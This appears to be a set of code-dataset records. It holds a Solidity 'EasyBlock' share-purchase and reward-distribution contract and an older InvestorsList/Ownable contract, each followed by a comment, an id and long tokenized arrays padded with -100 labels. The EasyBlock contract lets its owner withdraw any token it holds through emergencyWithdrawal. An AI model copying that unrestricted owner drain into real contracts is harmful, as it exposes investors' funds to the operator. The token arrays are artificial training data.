// SPDX-License-Identifier: MIT // // / / // ) ) // //____ ___ ___ //___/ / // ___ ___ / ___ // / ____ // ) ) (( ) ) // / / / __ ( // // ) ) // ) ) //\ \ // // // / / \ \ ((___/ / // ) ) // // / / // // \ \ ////____/ / ((___( ( // ) ) / / //____/ / // ((___/ / ((____ // \ \ // Developed by Dogu Deniz UGUR (https://github.com/DoguD) pragma solidity ^0.8.0; // LIBRARIES START // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // ERC20 Interface interface IERC20 { function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function totalSupply() external view returns (uint256); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // LIBRARIES END // PREVIOUS EASYBLOCK CONTRACT INTERFACE interface Easyblock { function holders(uint256 _index) external view returns (address); function shareCount(address _address) external view returns (uint256); } contract EasyBlock { using SafeMath for uint256; using SafeERC20 for IERC20; // Shareholder Info address[] public holders; uint256 public holderCount; mapping(address => uint256) public shareCount; mapping(address => uint256) public claimableReward; mapping(address => bool) public isShareHolder; uint256 public totalShareCount = 0; // Manager Info address public manager; uint256 public fee = 0; // per 1000 address public feeCollector; // Deposit Token address public rewardToken; // Purchase Tokens address public purchaseToken; uint256 public purchaseTokenPrice; // In decimals uint256 public newInvestments = 0; uint256 public purchaseTokenPremium; uint256 public premiumCollected = 0; // StrongBlock Node Holders address[] public nodeHolders; uint256 public nodeHoldersCount; uint256 public nodeCount; // Statistic Variables uint256 public totalInvestment; uint256 public totalRewardsDistributed; uint256 public rewardAmountInside = 0; // Protocol controllers bool public sharePurchaseEnabled; // Migartion bool public isMigrating = true; address public previousContract; Easyblock easyContract; // Experimental sell function uint256 public sellFee = 0; // per 1000 uint256 public sellAllowance = 0; // In decimals address public sellToken; uint256 public totalSharesSold = 0; bool public isSellAllowed = false; uint256 public totalAmountOfSellBack = 0; /* ======== EVENTS ======== */ event Investment( uint256 shareAmount, uint256 investmentInUSD, address shareHolder ); event RewardCollected(uint256 amount, address shareHolder); event ShareSold( uint256 shareCount, uint256 amountInTotal, address shareHolder ); constructor( uint256 _fee, address _previousContract, uint256 _totalInvestment, uint256 _totalRewards ) { manager = msg.sender; fee = _fee; feeCollector = msg.sender; totalInvestment = _totalInvestment; totalRewardsDistributed = _totalRewards; sharePurchaseEnabled = false; // Migration previousContract = _previousContract; easyContract = Easyblock(previousContract); } // Experimental sell functions function setSellToken(address _sellToken) external onlyOwner { sellToken = _sellToken; } function setSellAllowance(uint256 _allowance) external onlyOwner { if (_allowance > sellAllowance) { newInvestments -= (_allowance - sellAllowance); } else { newInvestments += (sellAllowance - _allowance); } sellAllowance = _allowance; } function setSellFee(uint256 _fee) external onlyOwner { sellFee = _fee; } function toggleIsSellAllowed(bool _isSellAllowed) external onlyOwner { isSellAllowed = _isSellAllowed; } function getSellPrice() public view returns(uint256){ return purchaseTokenPrice * (1000 - sellFee) / 1000; } function sellBackShares(uint256 _shareAmount) external { require(isSellAllowed, "Sell is not allowed"); require( _shareAmount <= shareCount[msg.sender], "Not enough shares to sell" ); uint256 _sellAmount = _shareAmount * getSellPrice(); require(_sellAmount <= sellAllowance, "Not enough allowance to sell"); shareCount[msg.sender] = shareCount[msg.sender].sub(_shareAmount); totalSharesSold += _shareAmount; totalAmountOfSellBack += _sellAmount; totalShareCount -= _shareAmount; sellAllowance -= _sellAmount; IERC20(sellToken).safeTransfer(msg.sender, _sellAmount); emit ShareSold(_shareAmount, _sellAmount, msg.sender); } function getMaxAmountOfSharesToBeSold() external view returns (uint256) { uint256 _sellPricePercentage = 1000 - sellFee; uint256 _sellPrice = purchaseTokenPrice.mul(_sellPricePercentage).div( 1000 ); uint256 _maxAmount = sellAllowance.div(_sellPrice); return _maxAmount; } // Controller toggles function toggleSharePurchaseEnabled(bool _enabled) external onlyOwner { sharePurchaseEnabled = _enabled; } // Deposit to Purchase Methods function editPurchaseToken(address _tokenAddress) external onlyOwner { purchaseToken = _tokenAddress; } function editPurchasePrice(uint256 _price) external onlyOwner { purchaseTokenPrice = _price; } function editTokenPremium(uint256 _tokenPremium) external onlyOwner { purchaseTokenPremium = _tokenPremium; } // Deposit to Share Rewards Methods function setDepositToken(address _tokenAddress) external onlyOwner { rewardToken = _tokenAddress; } // NodeHolders function setNodeHolder(address _address) external onlyOwner { nodeHolders.push(_address); nodeHoldersCount += 1; } function setNodeCount(uint256 _count) external onlyOwner { nodeCount = _count; } // Manager Related Methods function setManager(address _address) external onlyOwner { manager = _address; } function setFeeCollector(address _address) external onlyOwner { feeCollector = _address; } function setFee(uint256 _fee) external onlyOwner { fee = _fee; } // Withdrawals function withdrawToManager() external onlyOwner { IERC20(purchaseToken).safeTransfer(manager, newInvestments); newInvestments = 0; } function withdrawPremiumToManager() external onlyOwner { IERC20(purchaseToken).safeTransfer(manager, premiumCollected); premiumCollected = 0; } function emergencyWithdrawal(address _token, uint256 _amount) external onlyOwner { IERC20(_token).safeTransfer(manager, _amount); } function depositRewards( uint32 _start, uint32 _end, uint256 _amount ) external { uint256 _addedRewards = 0; // Fees _amount = (_amount * (1000 - fee)) / 1000; // Reward per share uint256 _rewardPerShare = _amount / totalShareCount; for (uint32 _i = _start; _i < _end; _i++) { address _currentHolder = holders[_i]; uint256 _userReward = _rewardPerShare * shareCount[_currentHolder]; claimableReward[_currentHolder] = claimableReward[_currentHolder] + _userReward; _addedRewards += _userReward; } // Stats totalRewardsDistributed += _addedRewards; rewardAmountInside += _addedRewards; // Transfer the rewards IERC20(rewardToken).safeTransferFrom( msg.sender, address(this), _addedRewards ); // Transfer the fee IERC20(rewardToken).safeTransferFrom( msg.sender, feeCollector, (_addedRewards / (1000 - fee)) * fee ); } function transferSharesFromManager( address _targetAddress, uint256 _shareAmount ) external onlyOwner { require(shareCount[msg.sender] >= _shareAmount, "Not Enough Shares."); if (!isShareHolder[_targetAddress]) { holders.push(_targetAddress); isShareHolder[_targetAddress] = true; holderCount += 1; } shareCount[msg.sender] = shareCount[msg.sender].sub(_shareAmount); shareCount[_targetAddress] = shareCount[_targetAddress].add( _shareAmount ); } // Shareholder Methods function claimRewards() external { require(isShareHolder[msg.sender], "msg.sender is not a shareholder."); IERC20(rewardToken).safeTransfer( msg.sender, claimableReward[msg.sender] ); // Stats rewardAmountInside -= claimableReward[msg.sender]; emit RewardCollected(claimableReward[msg.sender], msg.sender); claimableReward[msg.sender] = 0; } function getSharePrice() public view returns (uint256) { return purchaseTokenPrice + purchaseTokenPremium; } function buyShares(uint256 _shareCount) external { require( sharePurchaseEnabled, "Shares are not purchasable at the moment." ); uint256 _totalPrice = getSharePrice(); uint256 _totalAmount = _totalPrice * _shareCount; IERC20(purchaseToken).safeTransferFrom( msg.sender, address(this), _totalAmount ); totalInvestment = totalInvestment.add( _shareCount.mul(purchaseTokenPrice) ); if (!isShareHolder[msg.sender]) { holders.push(msg.sender); isShareHolder[msg.sender] = true; holderCount += 1; } shareCount[msg.sender] = shareCount[msg.sender].add(_shareCount); totalShareCount = totalShareCount.add(_shareCount); newInvestments = newInvestments.add( purchaseTokenPrice.mul(_shareCount) ); premiumCollected = premiumCollected.add( purchaseTokenPremium.mul(_shareCount) ); emit Investment( _shareCount, purchaseTokenPrice.mul(_shareCount), msg.sender ); } // MIGRATION START function endMigartion() external onlyOwner { isMigrating = false; } function addHolder(address _holder, uint256 _shareCount) internal { holders.push(_holder); isShareHolder[_holder] = true; holderCount += 1; shareCount[_holder] = _shareCount; } function copyFromPrevious(uint16 _start, uint16 _end) external onlyOwner { require(isMigrating, "Migration is not in progress."); uint256 _additionToTotalShareCount = 0; for (uint16 _i = _start; _i < _end; _i++) { // Calculate the reward address _currentHolder = easyContract.holders(_i); uint256 _shareCount = easyContract.shareCount(_currentHolder); addHolder(_currentHolder, _shareCount); _additionToTotalShareCount += _shareCount; } totalShareCount += _additionToTotalShareCount; } // MIGRATION END // Modifiers modifier onlyOwner() { require(msg.sender == manager); _; } }
Experimental sell functions
function setSellToken(address _sellToken) external onlyOwner { sellToken = _sellToken; }
12,720,506
[ 1, 4625, 348, 7953, 560, 30, 225, 22844, 287, 357, 80, 4186, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract InvestorsList is Ownable { using SafeMath for uint; /* Investor */ enum WhiteListStatus {Usual, WhiteList, PreWhiteList} struct Investor { bytes32 id; uint tokensCount; address walletForTokens; WhiteListStatus whiteListStatus; bool isVerified; } /*Investor's end*/ mapping (address => bool) manipulators; mapping (address => bytes32) public nativeInvestorsIds; mapping (bytes32 => Investor) public investorsList; /*Manipulators*/ modifier allowedToManipulate(){ require(manipulators[msg.sender] || msg.sender == owner); _; } function changeManipulatorAddress(address saleAddress, bool isAllowedToManipulate) external onlyOwner{ require(saleAddress != 0x0); manipulators[saleAddress] = isAllowedToManipulate; } /*Manipulators' end*/ function setInvestorId(address investorAddress, bytes32 id) external onlyOwner{ require(investorAddress != 0x0 && id != 0); nativeInvestorsIds[investorAddress] = id; } function addInvestor( bytes32 id, WhiteListStatus status, bool isVerified ) external onlyOwner { require(id != 0); require(investorsList[id].id == 0); investorsList[id].id = id; investorsList[id].tokensCount = 0; investorsList[id].whiteListStatus = status; investorsList[id].isVerified = isVerified; } function removeInvestor(bytes32 id) external onlyOwner { require(id != 0 && investorsList[id].id != 0); investorsList[id].id = 0; } function isAllowedToBuyByAddress(address investor) external view returns(bool){ require(investor != 0x0); bytes32 id = nativeInvestorsIds[investor]; require(id != 0 && investorsList[id].id != 0); return investorsList[id].isVerified; } function isAllowedToBuyByAddressWithoutVerification(address investor) external view returns(bool){ require(investor != 0x0); bytes32 id = nativeInvestorsIds[investor]; require(id != 0 && investorsList[id].id != 0); return true; } function isAllowedToBuy(bytes32 id) external view returns(bool){ require(id != 0 && investorsList[id].id != 0); return investorsList[id].isVerified; } function isPreWhiteListed(bytes32 id) external constant returns(bool){ require(id != 0 && investorsList[id].id != 0); return investorsList[id].whiteListStatus == WhiteListStatus.PreWhiteList; } function isWhiteListed(bytes32 id) external view returns(bool){ require(id != 0 && investorsList[id].id != 0); return investorsList[id].whiteListStatus == WhiteListStatus.WhiteList; } function setVerificationStatus(bytes32 id, bool status) external onlyOwner{ require(id != 0 && investorsList[id].id != 0); investorsList[id].isVerified = status; } function setWhiteListStatus(bytes32 id, WhiteListStatus status) external onlyOwner{ require(id != 0 && investorsList[id].id != 0); investorsList[id].whiteListStatus = status; } function addTokens(bytes32 id, uint tokens) external allowedToManipulate{ require(id != 0 && investorsList[id].id != 0); investorsList[id].tokensCount = investorsList[id].tokensCount.add(tokens); } function subTokens(bytes32 id, uint tokens) external allowedToManipulate{ require(id != 0 && investorsList[id].id != 0); investorsList[id].tokensCount = investorsList[id].tokensCount.sub(tokens); } function setWalletForTokens(bytes32 id, address wallet) external onlyOwner{ require(id != 0 && investorsList[id].id != 0); investorsList[id].walletForTokens = wallet; } }
* @title Ownable @dev The Ownable contract has an owner address, and provides basic authorization control functions, this simplifies the implementation of "user permissions"./
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } }
224,827
[ 1, 4625, 348, 7953, 560,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0, 0, 0, 0 ]
[ 1, 16351, 14223, 6914, 288, 203, 225, 1758, 1071, 3410, 31, 203, 203, 203, 225, 871, 14223, 9646, 5310, 1429, 4193, 12, 2867, 8808, 2416, 5541, 16, 1758, 8808, 394, 5541, 1769, 203, 203, 203, 225, 445, 14223, 6914, 1435, 288, 203, 565, 3410, 273, 1234, 18, 15330, 31, 203, 225, 289, 203, 203, 203, 225, 9606, 1338, 5541, 1435, 288, 203, 565, 2583, 12, 3576, 18, 15330, 422, 3410, 1769, 203, 565, 389, 31, 203, 225, 289, 203, 203, 203, 225, 445, 7412, 5460, 12565, 12, 2867, 394, 5541, 13, 1338, 5541, 1071, 288, 203, 565, 2583, 12, 2704, 5541, 480, 1758, 12, 20, 10019, 203, 565, 14223, 9646, 5310, 1429, 4193, 12, 8443, 16, 394, 5541, 1769, 203, 565, 3410, 273, 394, 5541, 31, 203, 225, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 